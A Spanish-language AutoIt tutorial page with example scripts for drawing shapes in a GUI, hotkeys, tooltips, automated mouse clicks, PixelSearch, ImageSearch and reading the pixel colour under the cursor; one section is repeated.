| #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <SendMessage.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Gráficos - Juan A. Villalpando"**,** 539**,** 372**,** 192**,** 132)  $Button1 = GUICtrlCreateButton("Button1"**,** 80**,** 264**,** 153**,** 57)  $Button2 = GUICtrlCreateButton("Button2"**,** 312**,** 264**,** 153**,** 57)  $Graphic1 = GUICtrlCreateGraphic(96**,** 56**,** 113**,** 97) **; Cuadrado**  GUICtrlSetColor(-1**,** 0xFF0000)  GUICtrlSetBkColor(-1**,** 0xFF0000)  $Graphic2 = GUICtrlCreateGraphic(324**,** 56**,** 113**,** 97) **; Círculo**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x000000**,** 0xFF0000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 10**,** 0**,** 100**,** 100)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando. KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1 **; Rojo**  GUICtrlSetBkColor($Graphic1**,** 0xFF0000)  GUICtrlSetGraphic($Graphic1**,** $GUI\_GR\_REFRESH)  GUICtrlSetGraphic($Graphic2**,** $GUI\_GR\_COLOR**,** 0x000000**,** 0xFF0000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 10**,** 0**,** 100**,** 100)  GUICtrlSetGraphic($Graphic2**,** $GUI\_GR\_REFRESH)  **Case** $msg = $Button2 **; Azul**  GUICtrlSetBkColor($Graphic1**,** 0x0000FF)  GUICtrlSetGraphic($Graphic1**,** $GUI\_GR\_REFRESH)  GUICtrlSetGraphic($Graphic2**,** $GUI\_GR\_COLOR**,** 0x000000**,** 0x0000FF)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 10**,** 0**,** 100**,** 100)  GUICtrlSetGraphic($Graphic2**,** $GUI\_GR\_REFRESH)  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**55.- GUICtrlCreateGraphic. GUICtrlSetGraphic. Gráfico en pantalla.**

- <https://www.autoitscript.com/autoit3/docs/functions/GUICtrlCreate%20Management.htm>

- <https://www.autoitscript.com/autoit3/docs/functions/GUICtrlSetGraphic.htm>

- Para dibujar gráficos de líneas, círculos, puntos, tarta,... se ha de crear una zona gráfica. (GUICtrlCreateGraphic).

- PIE significa tarta, es una circunferencia de área incompleta. Se utiliza en estadísticas.

- GUICtrlSetGraphic($zona\_grafica, $GUI\_GR\_COLOR,**0x0000ff, 0x0000ff**) el primer color es el de la arista, el segundo el de relleno.

- El tamaño del trazo (PENSIZE) se ha de poner **ANTES de establecer el color**.  
GUICtrlSetGraphic($zona\_grafica, $GUI\_GR\_PENSIZE, 4)  
GUICtrlSetGraphic($zona\_grafica, $GUI\_GR\_COLOR, 0x0000ff,0x0000ff)  
GUICtrlSetGraphic($zona\_grafica, $GUI\_GR\_DOT, 200, 100)

- Para comenzar a dibujar una línea en cierto punto, el punto inicial lo conseguimos mediante $GUI\_GR\_MOVE

- Círculo rojo:            GUICtrlSetGraphic($zona\_grafica, $GUI\_GR\_ELLIPSE, 190, 450, 40, 40)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Creación de una zona gráfica. Dibujos.**

|  |
| --- |
| **Gráficos en la pantalla.** |
| #include <ColorConstants.au3>  #include <GUIConstantsEx.au3>  **; Juan A. Villalpando - KIO4.COM**  $Formulario = GUICreate("Gráficos"**,** 600**,** 600)  $zona\_grafica = GUICtrlCreateGraphic(30**,** 70**,** 400**,** 400)  GUICtrlSetBkColor($zona\_grafica**,** $COLOR\_YELLOW) **; Fondo amarillo.**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0xff0000**,** 0xff0000)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PIE**,** 50**,** 50**,** 40**,** 30**,** 270) **; Tarta roja**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0x009900**,** 0x009900)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PIE**,** 70**,** 150**,** 40**,** -60**,** 90) **; Tarta verde**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PENSIZE**,** 12)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0x0000ff**,**0x0000ff)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_MOVE**,** 300**,** 300)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_LINE**,** 450**,** 450) **; Línea azul**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PENSIZE**,** 4)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0x0000ff**,**0x0000ff)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_DOT**,** 200**,** 100) **; Punto azul**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PENSIZE**,** 6)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0xff0000**,**0xff0000)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_ELLIPSE**,** 190**,** 450**,** 40**,** 40) **; Círculo rojo final**  **Local** $Etiqueta = GUICtrlCreateLabel("Texto sobre fondo rojo"**,** 10**,** 10**,** 185**,** 17)  **Local** $Boton1 = GUICtrlCreateButton("Cerrar el Formulario"**,** 50**,** 500**,** 180**,** 40)  **; Poner la Etiqueta con fondo ROJO y letras BLANCAS**  GUICtrlSetBkColor($Etiqueta**,** $COLOR\_RED)  GUICtrlSetColor($Etiqueta**,** $COLOR\_WHITE)  **; Muestra el Formulario**  GUISetState(@SW\_SHOW**,** $Formulario)  **; Bucle hasta que el usuario pulse el Boton1 para Salir.**  **While** 1  **Switch** GUIGetMsg()  **Case** $GUI\_EVENT\_CLOSE**,** $Boton1  **ExitLoop**  **EndSwitch**  **WEnd**  GUIDelete($Formulario) **; Borra el Formulario.** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Creación de una zona gráfica. Dibujos. Ejemplo de la documentación.**

- Código de <https://www.autoitscript.fr/autoit3/docs/functions/GUICtrlSetGraphic.htm>

|  |
| --- |
| **Gráficos en la pantalla.** |
| #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  **Global** **Const** $g\_MAXGr = 6  **Global** $g\_aidGraphics[$g\_MAXGr + 1] **; 0 et les entrées $g\_MAXGr ne sont pas utilisés pour permettre GUICtrlDelete**  **Global** $g\_idDel**,** $g\_hChild  Example()  **Func** Example()  **Local** $idMsg**,** $iInc**,** $i  GUICreate("My Main"**,** -1**,** -1**,** 100**,** 100)  **Local** $idDel1 = GUICtrlCreateButton("ReCreate"**,** 50**,** 200**,** 50)  GUISetState(@SW\_SHOW)  CreateChild()  $i = 1  $iInc = 1  **;$i = 5 ; décommenter pour supprimer le démarrage à partir du dernier contrôle graphique défini**  **;$iInc = -1**  **Do**  $idMsg = GUIGetMsg()  **If** $idMsg = $idDel1 **Then** $i = Create($iInc)  **If** $idMsg = $g\_idDel **Then**  GUICtrlDelete($g\_aidGraphics[$i])  $i = $i + $iInc  **If** $i < 0 Or $i > $g\_MAXGr **Then** **Exit**  **EndIf**  **Until** $idMsg = $GUI\_EVENT\_CLOSE  **EndFunc** **;==> Example**  **Func** Create($iInc)  GUIDelete($g\_hChild)  CreateChild()  **If** $iInc = -1 **Then** Return 5  Return 1  **EndFunc** **;== > Del**  **Func** CreateChild()  $g\_hChild = GUICreate("My Draw")  $g\_idDel = GUICtrlCreateButton("Delete"**,** 50**,** 165**,** 50)  $g\_aidGraphics[1] = GUICtrlCreateGraphic(20**,** 50**,** 100**,** 100)  GUICtrlSetBkColor(-1**,** 0xffffff)  GUICtrlSetColor(-1**,** 0)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xff0000**,** 0xff0000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_PIE**,** 50**,** 50**,** 40**,** 30**,** 270)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x00ff00**,** 0xffffff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_PIE**,** 58**,** 50**,** 40**,** -60**,** 90)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 100**,** 100**,** 50**,** 80)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x00ff00**,** 0xc0c0ff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_RECT**,** 350**,** 200**,** 50**,** 80)  GUICtrlCreateLabel("label"**,** 65**,** 100**,** 30)  GUICtrlSetColor(-1**,** 0xff)  $g\_aidGraphics[2] = GUICtrlCreateGraphic(220**,** 10**,** 100**,** 100)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0**,** 0xff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_PIE**,** 50**,** 50**,** 40**,** 30**,** 270)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x00ff00**,** 0xffffff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_PIE**,** 58**,** 50**,** 40**,** -60**,** 90)  $g\_aidGraphics[3] = GUICtrlCreateGraphic(220**,** 110**,** 100**,** 100)  GUICtrlSetBkColor(-1**,** 0xf08080)  GUICtrlSetColor(-1**,** 0xff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_HINT**,** 1)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xff00)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_RECT**,** 50**,** 50**,** 80**,** 80)  $g\_aidGraphics[4] = GUICtrlCreateGraphic(20**,** 200**,** 80**,** 80)  GUICtrlSetBkColor(-1**,** 0xffffff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_HINT**,** 1)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_MOVE**,** 10**,** 10)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 30**,** 40)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xff00)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 70**,** 70)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xff0000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 10**,** 50)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xffff00)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 10**,** 10)  $g\_aidGraphics[5] = GUICtrlCreateGraphic(150**,** 10**,** 50**,** 50)  GUICtrlSetBkColor(-1**,** 0xa0ffa0)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_MOVE**,** 20**,** 20) **;le point de départ**  **; il est préférable de tracer la ligne et après le point**  **; pour éviter de basculer la couleur à chaque dessin**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x0000ff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_DOT**,** 30**,** 30)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 20**,** 40)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0xff0000)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_DOT**,** 25**,** 25)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 40**,** 40)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_DOT**,** 30**,** 40)  $g\_aidGraphics[6] = GUICtrlCreateGraphic(110**,** 260**,** 230**,** 130)  GUICtrlSetColor(-1**,** 0) **; affiche une ligne de bordure noire**  GUICtrlSetBkColor(-1**,** 0xc0c0ff)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_HINT**,** 3) **; affiche les lignes du contrôle et les points d'extrémité**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0**,** 0xff)**; remplir en bleu**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_MOVE**,** 120**,** 20) **; le point de départ**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_BEZIER**,** 120**,** 100**,** 200**,** 20**,** 200**,** 100)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_BEZIER + $GUI\_GR\_CLOSE**,** 100**,** 40**,** 40**,** 100**,** 40**,** 20)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_LINE**,** 60**,** 30) **;le point de départ**  GUISetState(@SW\_SHOW)  **EndFunc** **;== > CreateChild** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Números en forma de pantalla LCD.**

<https://www.autoitscript.com/forum/topic/122439-guictrllcdnumber/>

**56.- Ejemplo de HotKeySet. MouseMove. ToolTip. Password.**

- Este código está obtenido de: <https://www.autoitscript.com/forum/topic/95702-help-with-auto-pot-bot/>

- Simplemente mueve el ratón y hace click en distintos puntos establecidos de una ventana.

- En **objetivo de exponer este código no es su uso, sino ver cómo se han realizado ciertas acciones.**

- Puedes ver cómo:

1.- Se pone la contraseña para que pueda entrar en la aplicación.

2.- Al pulsar las teclas**F4 y ESC**, mediante la función **HotKeySet**, va a las funciones de **TogglePause y Terminate**.

3.- Se crea un **ToolTip**, arriba del monitor, en la posición 0,0

4.- Movimiento del ratón y click en distintos puntos de la pantalla.

|  |
| --- |
| **HotKetSet. TootTip. Password.** |
| **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Do**  $pass = InputBox ("Password"**,** "Please enter your password"**,**""**,**"\*"**,**180**,**150)  **If** $pass <> "1234" **Then**  MsgBox (0**,**"Warning"**,** "Password Invalid" & @CRLF & "")  **EndIf**  **Until** $pass == "1234"  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  MsgBox (0**,**"Credit"**,** "Created by lee90 aka ???? (BETA)")  WinActivate("notepad.exe"**,** "")  WinMove("notepad.exe"**,** ""**,** 0**,** 0)  **Global** $UnPaused  HotKeySet("{F4}"**,** "TogglePause")  HotKeySet("{ESC}"**,** "Terminate")  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **While** 1  Sleep(100)  ToolTip("Press F4 to start.. Esc to quit.."**,**0**,**0)  **WEnd**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** TogglePause()  $UnPaused = NOT $UnPaused  **While** $UnPaused  ToolTip("Press F4 to Pause Credit: lee90 aka xxx"**,**0**,**0)  AutoItSetOption ("MouseClickDelay"**,**100)  MouseClick("left"**,** 320**,** 433**,** 1**,** 0)  MouseClick("left"**,** 186**,** 164**,** 1**,** 0)  MouseClick("left"**,** 186**,** 460**,** 1**,** 0)  MouseClick("left"**,** 740**,** 154**,** 1**,** 0)  MouseClick("left"**,** 465**,** 154**,** 1**,** 0)  MouseClick("left"**,** 203**,** 333**,** 1**,** 0)  MouseClick("left"**,** 205**,** 343**,** 1**,** 0)  Sleep(100)  **WEnd**  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** Terminate()  **Exit** 0  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;** |

**\_\_\_\_\_**

**57.- PixelSearch. Buscar donde está un pixel por su color.**

- <https://www.autoitscript.com/autoit3/docs/functions/PixelSearch.htm>

- <https://www.autoitscript.com/autoit3/docs/functions/WinGetHandle.htm>

- PixelSearch es una función que busca las coordenadas de un determinado pixel, según el color que estamos buscando.

$coordenadas = **PixelSearch**(0, 0, 600, 600, 0x**0000ff**, 1, 1, $hwnd)  
MouseMove($coordenadas[0],$coordenadas[1])

- Esta función no es demasiado exacta y tiene fallos.

- En el ejemplo siguiente el ratón se deberá mover la una posición roja (**0xff0000**), luego a una verde (**0x009900**) y luego a una azul (**0x0000ff**).

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Creación de una zona gráfica. Dibujos.**

- Para estudiarlo vamos a utilizar el gráfico que hemos visto en un tutorial anterior.

|  |
| --- |
| **Gráficos en la pantalla.** |
| #include ColorConstants**.**au3>  #include GUIConstantsEx**.**au3>  **; Juan A. Villalpando - KIO4.COM**  $Formulario = GUICreate("Gráficos"**,** 600**,** 600)  $zona\_grafica = GUICtrlCreateGraphic(30**,** 70**,** 400**,** 400)  GUICtrlSetBkColor($zona\_grafica**,** $COLOR\_YELLOW) **; Fondo amarillo.**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0xff0000**,** 0xff0000)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PIE**,** 50**,** 50**,** 40**,** 30**,** 270) **; Tarta roja**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0x009900**,** 0x009900)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PIE**,** 70**,** 150**,** 40**,** -60**,** 90) **; Tarta verde**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PENSIZE**,** 12)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0x0000ff**,**0x0000ff)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_MOVE**,** 300**,** 300)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_LINE**,** 450**,** 450) **; Línea azul**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PENSIZE**,** 4)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0x0000ff**,**0x0000ff)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_DOT**,** 200**,** 100) **; Punto azul**  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_PENSIZE**,** 6)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_COLOR**,** 0xff0000**,**0xff0000)  GUICtrlSetGraphic($zona\_grafica**,** $GUI\_GR\_ELLIPSE**,** 190**,** 450**,** 40**,** 40) **; Círculo rojo final**  **Local** $Etiqueta = GUICtrlCreateLabel("Texto sobre fondo rojo"**,** 10**,** 10**,** 185**,** 17)  **Local** $Boton1 = GUICtrlCreateButton("Cerrar el Formulario"**,** 50**,** 500**,** 180**,** 40)  **; Poner la Etiqueta con fondo ROJO y letras BLANCAS**  GUICtrlSetBkColor($Etiqueta**,** $COLOR\_RED)  GUICtrlSetColor($Etiqueta**,** $COLOR\_WHITE)  **; Muestra el Formulario**  GUISetState(@SW\_SHOW**,** $Formulario)  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **; $hwnd = WinGetHandle("Gráficos", "")**  $hwnd = WinGetHandle("[ACTIVE]") **; handle, es un identificador de la ventana**  $coordenadas = PixelSearch(0**,** 0**,** 600**,** 600**,** 0xff0000**,** 1**,** 1**,** $hwnd)  MouseMove($coordenadas[0]**,**$coordenadas[1])  Sleep(2000)  $coordenadas = PixelSearch(0**,** 0**,** 600**,** 600**,** 0x009900**,** 1**,** 1**,** $hwnd)  MouseMove($coordenadas[0]**,**$coordenadas[1])  Sleep(2000)  $coordenadas = PixelSearch(0**,** 0**,** 600**,** 600**,** 0x0000ff**,** 1**,** 1**,** $hwnd)  MouseMove($coordenadas[0]**,**$coordenadas[1])  Sleep(2000)  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **; Bucle hasta que el usuario pulse el Boton1 para Salir.**  **While** 1  **Switch** GUIGetMsg()  **Case** $GUI\_EVENT\_CLOSE**,** $Boton1  **ExitLoop**  **EndSwitch**  **WEnd**  GUIDelete($Formulario) **; Borra el Formulario.** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- ImageSearch.**

- Se utiliza para buscar una pequeña imagen dentro de una imagen mayor o del escritorio.

- Esta función no es demasiado exacta y falla bastante.

- Es necesario el archivo **ImageSearch.au3** e incluirlo en la librería:

#include <ImageSearch.au3>

- También es necesario el archivo **ImageSearchDLL.dll**

- El archivo ImageSearch.au3 debemos copiarlo en la carpeta Include que se encutra en la carpeta instalade del AutoIt.

- El archivo ImageSearchDLL.dll lo copiamos en la carpeta C:\Windows\System32

- Los puedes bajar de esta dirección, aunque también puedes buscar una versión más actualizada:

<https://www.autoitscript.com/forum/applications/core/interface/file/attachment.php?id=30140>

- Aquí puedes ver un vídeo de esta función:

<https://www.youtube.com/watch?v=lrc54kmVqjI>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**58.- Mueves el ratón y observas sus coordenadas y color de fondo. PixelGetColor.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Mueves el ratón y observas sus coordenadas y color de fondo.**

- Código de: <http://www.mpcforum.pl/topic/159148-pixelsearch-zasieg-dzialania/#entry1052401>

|  |
| --- |
| **Mueves el ratón y ves sus coordenadas.** |
| #include <WinAPI.au3>  Opt("MouseCoordMode"**,** 1) **;1=absolute, 0=relative, 2=client**  HotKeySet("{ESC}"**,** "Terminate")  **Local** $exit = 1  **While** $exit  Sleep(10)  TtColXY()  **WEnd**  **; TtColXY() Tooltip shows colour, and cursor position relative to screen and window.**  **Func** TtColXY()  $aPos = MouseGetPos()  **Local** $tPosS = \_WinAPI\_GetMousePos() **; similar to MouseGetPos() ;Screen mouse position**  $hHwnd = \_WinAPI\_WindowFromPoint($tPosS)  **Local** $tPosC = \_WinAPI\_GetMousePos(True**,** $hHwnd)  $sColor = "0x" & Hex(PixelGetColor(DllStructGetData($tPosS**,** "X")**,** DllStructGetData($tPosS**,** "Y"))**,** 6)  $iPosX = ($aPos[0] - 100) \* ($aPos[0] > @DesktopWidth \* 0.90) + ($aPos[0] <= @DesktopWidth \* 0.90) \* ($aPos[0] + 3)  $iPosY = ($aPos[1] - 30) \* ($aPos[1] > @DesktopHeight \* 0.96) + ($aPos[1] <= @DesktopHeight \* 0.96) \* ($aPos[1] + 3)  ToolTip("Color is: " & $sColor & @CRLF & "Screen: X: " & DllStructGetData($tPosS**,** "X") & " Y: " & DllStructGetData($tPosS**,** "Y") & @CRLF \_  & "Client: X: " & DllStructGetData($tPosC**,** "X") & " Y: " & DllStructGetData($tPosC**,** "Y")**,** $iPosX**,** $iPosY)  Return  **EndFunc** **;==>TtColXY**  **Func** Terminate()  $exit = 0  **EndFunc** **;==>Terminate** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Mueves el ratón y observas sus coordenadas y color de fondo. Otro ejemplo parecido.**

- Código de: <https://www.autoitscript.com/forum/topic/32054-pixelsearch-tool/>

|  |
| --- |
| **Mueves el ratón y ves sus coordenadas.** |
| **Global** $Paused**,** $pos**,** $mclr  Opt("TrayIconHide"**,** 1)  HotKeySet("^1"**,** "Log1") **;Press Ctrl-1 to log into Grid.ini the mouse coordinates**  HotKeySet("^2"**,** "Log2") **;Press Ctrl-2...Ctrl-5 to log into Grid.ini the mouse coordinates**  HotKeySet("^3}"**,** "Log3")  HotKeySet("^4}"**,** "Log4")  HotKeySet("^5"**,** "Log5")  HotKeySet("{ESCAPE}"**,** "TogglePause") **;Press Escape to pause the script**  HotKeySet("^{SPACE}"**,** "Terminate") **;Press Ctrl-Spacebar to quit**  **While** 1  $pos = MouseGetPos()  $mclr = Pixelgetcolor($pos[0]**,**$pos[1])  ToolTip("Mouse (x,y): "&"("&$pos[0]&","&$pos[1]&") Colour: "&Hex($mclr**,** 6)**,**0**,**724)  **WEnd**  **Func** TogglePause()  $Paused = NOT $Paused  **While** $Paused  sleep(100)  **; ToolTip('Script is "Paused"',0,0)**  **WEnd**  **; ToolTip("")**  **EndFunc**  **Func** Terminate()  **Exit** 0  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Añade un HotKeySet para salir de la aplicación.

- En este mensaje del foro tienes un script similar: Mouse\_UDF.zip :

- <https://www.autoitscript.com/forum/topic/155469-autoit-powered-mouse-events-_mouse_udf/>

- Fíjate en estas líneas del código:

#include <GUIConstantsEx.au3>  
#include "\_Mouse\_UDF.au3"

- **<------->** significa que esa librería está en la carpeta **Include** de donde instalastes el AutoIt

- **".........."** significa que esa librería está en la misma carpeta en la que se encuentra el Script.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**58.- Mueves el ratón y observas sus coordenadas y color de fondo. PixelGetColor.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Mueves el ratón y observas sus coordenadas y color de fondo.**

- Código de: <http://www.mpcforum.pl/topic/159148-pixelsearch-zasieg-dzialania/#entry1052401>

|  |
| --- |
| **Mueves el ratón y ves sus coordenadas.** |
| #include <WinAPI.au3>  Opt("MouseCoordMode"**,** 1) **;1=absolute, 0=relative, 2=client**  HotKeySet("{ESC}"**,** "Terminate")  **Local** $exit = 1  **While** $exit  Sleep(10)  TtColXY()  **WEnd**  **; TtColXY() Tooltip shows colour, and cursor position relative to screen and window.**  **Func** TtColXY()  $aPos = MouseGetPos()  **Local** $tPosS = \_WinAPI\_GetMousePos() **; similar to MouseGetPos() ;Screen mouse position**  $hHwnd = \_WinAPI\_WindowFromPoint($tPosS)  **Local** $tPosC = \_WinAPI\_GetMousePos(True**,** $hHwnd)  $sColor = "0x" & Hex(PixelGetColor(DllStructGetData($tPosS**,** "X")**,** DllStructGetData($tPosS**,** "Y"))**,** 6)  $iPosX = ($aPos[0] - 100) \* ($aPos[0] > @DesktopWidth \* 0.90) + ($aPos[0] <= @DesktopWidth \* 0.90) \* ($aPos[0] + 3)  $iPosY = ($aPos[1] - 30) \* ($aPos[1] > @DesktopHeight \* 0.96) + ($aPos[1] <= @DesktopHeight \* 0.96) \* ($aPos[1] + 3)  ToolTip("Color is: " & $sColor & @CRLF & "Screen: X: " & DllStructGetData($tPosS**,** "X") & " Y: " & DllStructGetData($tPosS**,** "Y") & @CRLF \_  & "Client: X: " & DllStructGetData($tPosC**,** "X") & " Y: " & DllStructGetData($tPosC**,** "Y")**,** $iPosX**,** $iPosY)  Return  **EndFunc** **;==>TtColXY**  **Func** Terminate()  $exit = 0  **EndFunc** **;==>Terminate** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Mueves el ratón y observas sus coordenadas y color de fondo. Otro ejemplo parecido.**

- Código de: <https://www.autoitscript.com/forum/topic/32054-pixelsearch-tool/>

|  |
| --- |
| **Mueves el ratón y ves sus coordenadas.** |
| **Global** $Paused**,** $pos**,** $mclr  Opt("TrayIconHide"**,** 1)  HotKeySet("^1"**,** "Log1") **;Press Ctrl-1 to log into Grid.ini the mouse coordinates**  HotKeySet("^2"**,** "Log2") **;Press Ctrl-2...Ctrl-5 to log into Grid.ini the mouse coordinates**  HotKeySet("^3}"**,** "Log3")  HotKeySet("^4}"**,** "Log4")  HotKeySet("^5"**,** "Log5")  HotKeySet("{ESCAPE}"**,** "TogglePause") **;Press Escape to pause the script**  HotKeySet("^{SPACE}"**,** "Terminate") **;Press Ctrl-Spacebar to quit**  **While** 1  $pos = MouseGetPos()  $mclr = Pixelgetcolor($pos[0]**,**$pos[1])  ToolTip("Mouse (x,y): "&"("&$pos[0]&","&$pos[1]&") Colour: "&Hex($mclr**,** 6)**,**0**,**724)  **WEnd**  **Func** TogglePause()  $Paused = NOT $Paused  **While** $Paused  sleep(100)  **; ToolTip('Script is "Paused"',0,0)**  **WEnd**  **; ToolTip("")**  